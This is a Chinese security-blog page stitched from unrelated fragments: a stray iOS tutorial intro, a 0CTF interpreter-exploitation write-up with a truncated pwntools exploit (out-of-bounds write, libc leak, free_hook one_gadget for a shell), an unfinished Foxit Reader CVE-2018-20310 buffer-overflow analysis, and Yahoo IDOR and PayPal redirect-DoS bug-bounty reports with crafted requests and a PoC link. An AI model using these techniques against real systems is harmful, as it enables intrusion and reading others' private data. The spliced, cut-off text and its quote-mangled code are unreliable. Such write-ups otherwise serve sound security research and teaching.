网站安全

软硬件环境OS X EI CapitanXcode 7.0.1简介列表，可以说是控件中最重要的一个，在iOS中是UITableView，本节就来学习一下如何来实现一个列表，如下所示效果图

 
这是0ctf中的一道题目，题目提供了一个poc文件
 
var a = "This is a PoC!"
System.print(a)
var b = [1, 2, 3]
b[0x80000000] = 0x123
我们在ida中的字符串中能够发现如下的代码：

可以看出这是一个类似于javascript的解释器。
gdb加载程序，并设置参数，程序crash了。这是因为

 
漏洞分析：
我们发现rcx寄存器是个非法的地址。查看代码我们发现rcx是通过rax+rdx获取的，而rax和rdx是在栈上获取的。

通过调试我们可以看到，rax是数组b的基址，rdx是数组的偏移。漏洞点就在数组存在越界读写。
为了利用该漏洞，我们需要分析清楚该js解释器的数据结构，才能来进行读写。
分析数据结构，构造如下的poc
var a = "This is a PoC!"
System.print(a)
var b = [1, 2, "aaaaa",[3,"ddddd"]]
 
 

 
Strcut obj_ptr{
long unkown;
void *ptr1;
void *ptr2;
objbuffrer *ptr;
int size;
int size;
}
我们在数组中声明的变量值为1和2，在堆中却为0x3ff0000000000000和0x4000000000000000，实际上是用浮点形式存储的。所以我们读写的数据都要按照浮点形式存储。
 
Struct objtype{
long type;//如果是double类型的为4，如果为其他类型的为5
union{
        double value;
        obj_ptr* obj;
    };
}
struct objstr{
    int type;
    int padding;
    void* ptr1;
    void* ptr2;
    int some_val;
    int size;
char[] contents;
};
 
漏洞利用：
地址泄露
在分析程序的时候，我们注意到Objstr类型，有一个size位，如果利用任意地址写，将Objstr类型的size位改大，就能打印出很多地址，而后面的内存中正好有libc有关的地址。

这里有几个地方需要注意：一个是偏移的计算，一个是要将size转化成double类型。

如果我们直接打印字符串a，后面的’x00’会截断，我们通过下面的方式逐个字节读取

任意地址写
我们发现obj_ptr结构体中存在一个指针，将objbuffrer 的指针改写成我们想改写的地址即可。
 
Strcut obj_ptr{
long unkown;
void *ptr1;
void *ptr2;
objbuffrer *ptr;
int size;
int size;
}
尝试了malloc_hook和free_hook后发现有个onegadget劫持free_hook可以拿到shell。
 
exp:
from pwn import *
import struct
EXE=’./plang’
context.binary = EXE
elf = ELF(EXE)
libc=elf.libc
io=process(EXE)
def dbg(s=”):
gdb.attach(io,s)
def runscript(pay):
io.sendlineafter(‘> ‘,pay)
def int2double(num):
return struct.pack(", num).encode(‘hex’)
def double2int(nstr):
return (struct.unpack(‘d’, nstr)[0])
libcoffset=0x155554f88ca0- 0x155554b9d000
heapoffset=0x555555780750-(0x5555557741b8-0x10)
one_gadget=[0x4f2c5,0x4f322,0x10a38c]
buf=”
pay1= "var a = "aaaaaa""
pay3= "var b = [1, 2, "bbbbbb"]"
pay4= "var c = [ 4 , 5]"
b_addr = 0x555555788b70
a_addr = 0x555555787f20
offset=(a_addr-b_addr)/16

去年年中，我在一篇文章中讲述了在Foxit Reader中挖掘UAF漏洞的过程，以及如何利用该漏洞发送远程代码执行攻击。之后，我又在一篇文章中介绍了Foxit Reader SDK ActiveX中的一个命令注入漏洞。本着不放弃不抛弃的精神，在同年晚些时候我又对Foxit Reader的一个新组件进行了深入的研究。令我惊讶的是，在这个组件中又发现了几个允许有限提升权限的漏洞，其中一个漏洞尤其严重，所以，本文就诞生了。
摘要
我们将通过发送一个精心构造的proxyDoAction请求，来详细考察CVE-2018-20310（它是位于PDF Printer中的一个基于堆栈的缓冲区溢出漏洞）的攻击向量、漏洞分析和利用方法。
软件版本
文中描述的方法已经在9.3.0.912版本的Foxit Reader软件进行了测试，其中FoxitProxyServer_Socket_RD.exe二进制文件的SHA1值为：0e1554311ba8dc04c18e19ec144b02a22b118eb7。该版本是撰写本文时的最新版本。
攻击向量
PDF Printer是Foxit Reader中的一个功能，主要用于处理来自应用程序的PDF文件打印请求。安装Foxit Reader后，Foxit PDF Printer就会成为处理打印作业的默认打印机。

从Chrome打印文档
这实际上意味着FoxitProxyServer_Socket_RD.exe二进制文件启动后，会在中等完整性级别运行片刻。

从应用程序打印文档时，FoxitProxyServer_Socket_RD.exe将在中等完整性级别运行
只在这个级别运行片刻的原因是服务器默认监听localhost端口50000并且只接受一个请求。一旦发出请求，它就会关闭端口并终止执行。当用户尝试使用Foxit PDF Printer打印到PDF时，攻击者就能够在渲染选项卡中执行代码。
在对该问题进行深入考察之后，发现可以从沙盒进程发出未公开的ALPC请求，以使用默认打印机启动打印作业。这意味着，攻击者根本不需要向FoxitProxyServer_Socket_RD.exe二进制文件发送竞争请求。
漏洞分析
在从浏览器打印页面时，我们截获了许多发送到端口50000的请求样本；此后，我们又发现了一个重要的函数，即sub_41DBA0。

sub_41DBA0的代码流程
这个函数用于处理多种不同类型的请求，其中，相应的处理程序在上图中用蓝色突出加以显示，其中包括：
· proxyDoAction
· proxyPreviewAction
· proxyPopupsAction
· proxyCPDFAction
· proxyUpdatePreview
· proxyFinishPreview
· proxyCollectSysFont
· proxyGetImageSize
· proxyCheckLicence
· proxyGetAppEdition
· proxyInitLocalization
· proxyCreateDirectoryCascade
· proxyIEMoveFileEx
· proxySendFileAsEmailAttachment
虽然其中一些处理程序确实是高度可利用的，但并不总是能够到达易受攻击的API，这里，我们将以proxyIEMoveFileEx为例进行介绍。该函数接受三个参数，它实际上就是一个MoveFileExW调用，并且没有对参数进行任何检查。不过，由于它无法正确解析提供的数据包结构，因此，该函数实际上是无法利用的。通常情况下，软件开发人员在发布软件之前会进行相应的测试，以确保它们能正常工作！以下是这个底层API所在的位置：
.text:00420C85 loc_420C85:                             ; CODE XREF: sub_420930+331
.text:00420C85                 push    ebx             ; dwFlags
.text:00420C86                 push    edi             ; lpNewFileName
.text:00420C87                 push    eax             ; lpExistingFileName
.text:00420C88                 call    ds:MoveFileExW
在进行了更加深入的逆向分析之后，我们发现proxyDoAction也是一个非常让人感兴趣的函数，因为攻击者可以利用它的操作码抵达5条不同的代码路径。以下是检查请求数据包中的proxyDoAction字符串的相关代码：

 sub_41DBA0函数会检查proxyDoAction请求
也就是说，只要能够提供正确格式的请求，我们最终可以到达该处理程序：

用于到达处理程序的proxyDoAction请求
在处理程序内部，我们可以看到它具有3个参数：

本文分享的是与Yahoo和Paypal相关的两个独特漏洞，一个为Yahoo的IDOR漏洞（不安全的直接对象引用），另一个为Paypal的DoS漏洞，两个漏洞的发现者都为印度安全工程师，其发现原理和思路也相对简单和典型，分享于此，希望能对读者起到借鉴参考作用。
YAHOO的IDOR漏洞（$5,000）
繁忙的一天，当我外出工作回到办公室的时候，已经是下午5点了，还有一小时就下班回家。好吧，这点时间我只有打开Burp测试一些目标网站了。
那个时候，我经常用Yahoo Notepad（雅虎网络笔记）来记录一些个人心得体会，此时，我就突然想来测测这个应用到底如何。于是，我打开了这个雅虎网络笔记的对应网站 – https://notepad.yahoo.com，然后，在开启了Burp抓包的同时，我也在向我的个人笔记空间中书写笔记。
笔记记录完之后，我在Proxy HTTP History标签中进行了检查，一个GET请求中的加密字符串映入了我的眼帘：
GET /ws/v3/users/fziy4wzxr41k4qwsgumu2v2qymynzat6kclqpwmc/items?format=json&count=200&type=Journal&wssid=55mJmcMk3tg&rand=1478541308397&prog=aeon HTTP/1.1
Host: calendar.yahoo.com

可以看到，在users/旁边的加密字符串 –  fziy4wzxr41k4qwsgumu2v2qymynzat6kclqpwmc，它代表什么呢？
我立马意识到，它是我的用户名，它被加密然后发送到服务器端！那我就想着，能不能把它换成我明文方式的Yahoo用户名呢? 这样一来，其构造的GET请求如下：
GET /ws/v3/users/yahoo-username/items?format=json&kw=test&count=200&type=Journal&wssid=55mJmcMk3tg&rand=1478541308397&prog=aeon HTTP/1.1
Host: calendar.yahoo.com
让人意外的是，我把这个加密字符串换成了我明文方式的Yahoo用户名后，Yahoo服务端的响应和加密字符串的响应是相同的，也就是两者的响应内容都是相同的包含同一笔记内容的JSON格式！
接着，我又在上述GET请求中，尝试把这个用户名换成了我另外一个Yahoo测试账户(test_account_2222) ，之后，它响应的是我这个Yahoo测试账户的笔记内容。

问题之处在于，Yahoo Notepad（雅虎网络笔记）虽然把用户名进行了加密传输，但是在对服务端的请求过程中，毫无对用户名和账户的匹配检查机制，这也就导致了可以通过输入任意用户名来获取任意账户的云端笔记内容。
/ws/v3/users/fziy4wzxr41k4qwsgumu2v2qymynzat6kclqpwmc/items?
/ws/v3/users/user-name/items?
经过几个测试账号的反复实验确认，我确定该漏洞漏洞确实存在，理论上来说，这应该算是一个大漏洞了，因为我可以在GET请求中输入任意用户名的方式，去查看任意用户账户对应的雅虎网络笔记内容。
实际上，从检查应用请求到发现漏洞的整个过程中，总共也就花了差不多15分钟，欣喜若狂之余我也非常清醒理智，要淡定要淡定。这肯定是一个很独特的漏洞，需要的是不同的思维方式和敏锐的嗅觉，这一次恭喜我做到了！
漏洞最终被Yahoo分类为IDOR（不安全的直接对象引用）漏洞，获得了$5,000美金的奖励。我个人的感觉是，开发人员认为只要加密就安全了，但其实不然，除了加密，还需要验证手段才行。
PayPal的DoS漏洞（$3,200）
某天，我在测试网站 – braintreepayments.com 的漏洞，它属于Paypal漏洞众测范围内项目，是PayPal于2013年收购的在线支付平台。
在检查该网站的源代码过程中，我发现了以下这段奇怪的JavaScript代码：
var targetLocale = window.location.href.match(/locale=(.{5})/) ? window.location.href.match(/locale=(.{5})/)[1] : null;

在仔细阅读完代码之后，分析可知，locale为地区语言参数，currentLocale为当前语言参数，如en-us。我注意到该代码段具备的一个功能是，去检查用户带有locale参数的请求，如果该参数的值不等于en-us，也就是浏览器获取到的currentLocale值时，那么，这个用户的locale参数值就会被代码方法 window.localStorage.setItem(‘locale’, targetLocale) 存储到storedLocale中去。
在这种机制下，每当一位用户访问braintreepayments.com网站时，如果其当前的currentLocale值与storedLocale不匹配，那么他就会被强制重定向到网页 – https://braintreepayments.com/`locale`，这种情况下，即使他点击https://braintreepayments.com/网站上的任意链接，最终也是一样被重定向到网页 – https://braintreepayments.com/`locale`。
这个功能可构造出一个什么漏洞呢？当然是Dos了。尽管locale地区参数只有5位字母（如en-us、zh-cn等），才能被保存在浏览器的localstorage中，但这也足够用来创建一个适合的PoC了，如下：
https://www.braintreepayments.com/legal/policy-updates?utm_campaign=BT_EMEA_LUX_SafeHarborUpdate_20160413&utm_medium=email&utm_source=Eloqua&elq_cid=5230793&locale=fword
该PoC链接造成的影响是，受害者一旦点击访问了上述链接，他们就会被自动重定向到https://braintreepayments.com/fword网页中去，即使他们再点击其中的Log in或Sign up也一样没用，还是会继续跳转到https://braintreepayments.com/fword网页中。

漏洞影响就是，如果恶意攻击者通过一些公开渠道大肆散布上述PoC链接，大量受害者会重定向到https://braintreepayments.com/fword网页，将会造成普通用户无法正常访问使用braintreepayment平台网站，形成间接方式的Dos攻击，且受害者需要清除浏览器中的JS缓存才能解除这种恶意重定向。漏洞上报后，获得了Paypal官方$3,200美金的奖励。